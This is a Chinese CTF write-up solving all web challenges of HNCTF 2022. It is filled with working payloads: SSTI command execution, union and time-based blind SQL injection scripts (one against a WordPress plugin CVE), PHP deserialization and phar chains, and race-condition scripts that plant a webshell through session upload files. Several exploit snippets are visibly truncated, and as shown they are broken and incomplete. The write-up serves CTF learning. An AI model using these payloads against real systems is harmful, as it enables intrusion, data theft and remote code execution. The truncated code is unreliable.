【Web】HNCTF 2022 题解(全)

目录

Week1

Interesting_include

2048 

easy_html 

What is Web 

Interesting_http 

easy_upload 

Week2

ez_SSTI

easy_include 

ez_ssrf 

Canyource 

easy_unser

easy_sql 

ohmywordpress 

Week3

ssssti

Fun_php 

ez_phar

QAQ_1inclu4e

logjjjjlogjjjj

Week4

pop子和pipi美

fun_sql 

unf1ni3hed_web3he1 

Week1

Interesting_include

?filter=php://filter/convert.base64-encode/resource=flag.php

 base64解码拿到flag

2048 

看js文件，搜索关键词alert

复制在控制台输出直接弹窗

easy_html 

提示访问./f14g.php 

访问

改max-length

然后随便输入一串手机号直接拿到flag

What is Web 

一眼顶针，藏flag鉴定为烂

Interesting_http 

按要求传参就可

easy_upload 

随便上传个马

写入，命令执行拿flag

Week2

ez_SSTI

测出ssti注入点传参是?name=

payload

?name={{config.__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20f*%27).read()")}}

easy_include 

 直接打日志包含写一句话木马

ez_ssrf 

先访问/index.php

直接访问/flag.php 

 就是ssrf往flag.php发请求

GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close

 base64编码得

R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

 最终payload:

?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

Canyource 

payload:

?code=eval(end(current(get_defined_vars())));&Z3r4y=system('tac flag.php');

 右键查看源码拿到flag

easy_unser

一眼顶针，鉴定为烂

就是一个wakeup的绕过，然后读文件用伪协议

注意高版本php不能直接把private改public

exp:

<?php
class body{

    private $want="php://filter/convert.base64-encode/resource=f14g.php";
    private $todonothing="0x401";
}

$a=new body();
echo urlencode(preg_replace("/:2:{/",":3:{",serialize($a)));

base64解码拿到flag 

easy_sql 

简单fuzz一下，ban了这么些，一眼顶针，无列名注入

因为注释被ban了，所以考虑闭合的方式来注入

SQL注入绕过入门总结篇 – FreeBuf网络安全行业门户

0'/**/union/**/select/**/1,2,database()/**/where/**/'1
Here is your want!
ctf

0'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
Here is your want!
ctf,ctftraining,ctftraining,ctftraining,mysql 

0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
Here is your want!
ccctttfff,flag,news,users,gtid_slave_pos 

0'/**/union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/union/**/select/**/1,2,3/**/||'1
Here is your want!
1,NSSCTF{cc299b0b-fd6d-4e3a-b5e4-040d8c9d7dde}

ohmywordpress 

一直点进去就行 

右键查看源码，得知WordPress版本为6.0.2 

Simple Link Directory < 7.7.2 – Unauthenticated SQL injection | CVE 2022-0760 | Plugin Vulnerabilities

import requests
import time


url = "http://node5.anna.nssctf.cn:20313/wp-admin/admin-ajax.php"

result = ""
for i in range(1, 100):
    length = len(result)
    for o in range(32, 128):

        data = {
            "action": "qcopd_upvote_action",
            # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",
            # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)",
            "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i},1))={o},sleep(3),0))enz)",
        }

        time1 = time.time()

        res = requests.post(url, data=data)

        time2 = time.time()


        if time2 - time1 > 3:
            result += chr(o)
            print(result)
            break

    if len(result) == length:
        break

跑出来flag

Week3

ssssti

拿fengjing梭

或者也可以手打

?name={{lipsum[request.values.a][request.values.b][request.values.c](request.values.d).popen(request.values.e).read()}}&a=__globals__&b=__builtins__&c=__import__&d=os&e=cat /flag

Fun_php 

一眼顶针，鉴定为烂

payload:

?user=114514a&mySaid=QNKCDZO&myHeart=240610708&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6+Flag%21%E2%81%A9%E2%81%A6ctf


data%5B%5D=Probiusa&verify%5B%5D=1&want=fl*

 右键查看源码拿到flag

ez_phar

访问/upload.php

exp:

code = 'eval($_GET["a"]);';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

 上传恶意phar文件

然后再phar伪协议配合file_exists触发phar反序列化

QAQ_1inclu4e

文件包含的参数是QAQ

过滤了php . log flag :，选择打临时session文件包含

http://xz.aliyun.com/t/9545

需要条件竞争的方式

import requests
import io
import threading

url = "http://node5.anna.nssctf.cn:21880/"
sessid = "Z3"

def write(session):
    filebytes = io.BytesIO(b'aaaa' * 1024 * 50)
    while True:
        res = session.post(url,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': ""
                },
            cookies={
                'PHPSESSID': sessid
                },
            files={
                'file': ('Z3.txt', filebytes)
                }
            )

def read(session):
    while True:
        res = session.post(url+"?QAQ=/tmp/sess_"+sessid,
                           data={
                               "1":"file_put_contents('shell.php', '');"
                           },
                           cookies={
                               "PHPSESSID":sessid
                           }
                           )
        if 'Z3.txt' in res.text:
            print("Success!")
            print(res.text)
            break
        else:
            print("Retry")



if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

回显success，成功写马

连蚁剑，flag在/var目录下

logjjjjlogjjjj

擦，一眼顶针，这不是Vulfocus log4j2-rce靶机

log4j打JNDI

可以看看我的这篇文章，第二题就是原题

【Web】log4j打JNDI专题刷题记录-CSDN博客

Week4

pop子和pipi美

 评价为烂

?pop_EP=ep683045 

exp: 

No_893 = "php://filter/convert.base64-encode/resource=f14g.php";
    }
}
class Pipimi{
    public $pipi;
    public function __construct(){
        $this->p = new Popuko();
    }
}
class Goodsisters{
    public $kiminonawa,$str;
    public function __construct(){
        $this->str = new Pipimi();
    }
}
$a = new Goodsisters();
$a->kiminonawa = new Goodsisters();
$ser = serialize($a);
echo urlencode($ser);

 base64解码拿到flag

fun_sql 

payload:

?uname=1' union select 1,load_file(concat('/var/www/html/fla','g.php')),3; --+

unf1ni3hed_web3he1 

302跳转bp抓包拦截

访问/Rea1web3he11.php

访问/t00llll.php

?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

 base64解码后读到Rea1web3he11.php源码

<?php 
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."
";

class webshell{
    public $caution;
    public $execution;

    function __construct(){
        $this -> caution = new caution();
    }

    function __destruct(){
        $this -> caution -> world_execute();
    }
    function exec(){
        @eval($execution);
    }
}
class caution{
    function world_execute(){
        echo "Webshell初&#%始*$%&^化,$))(&*(%#^**ERROR**#@$()"."
";
    }
}
class execution{
    public $cmd;
    function __construct(){
        $this -> cmd = 'echo "即将执行命令:".$cmd;';
    }
    function world_execute(){
        eval($this -> cmd);
    }
}
?>

一眼session反序列化 

【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE – 蚁景网安实验室

 exp:

cmd = 'system("cat /secret/flag");';

$a = new webshell();
$a->caution = $b;

echo '|'.serialize($a);

import threading
import requests

url = 'http://node5.anna.nssctf.cn:27540/Rea1web3he11.php'
flag = 'xxx'

cmd = "system('cat /secret/flag');"

payload = r'|O:8:"webshell":1:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:' + str(len(cmd)) + ':"' + cmd + '";}}'

def upload():
    files = [
        ('file', ('xx.txt', 'xxx'*10240)),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': payload}

    while True:
        res = requests.post(url, data=data, files=files, cookies={'PHPSESSID': flag})
        print('upload',res.text)

def write():
    while True:
        res = requests.get(url, cookies={'PHPSESSID': flag})
        print('write',res.text)

for i in range(10):
    t1 = threading.Thread(target=upload)
    t2 = threading.Thread(target=write)
    t1.start()
    t2.start()

跑出flag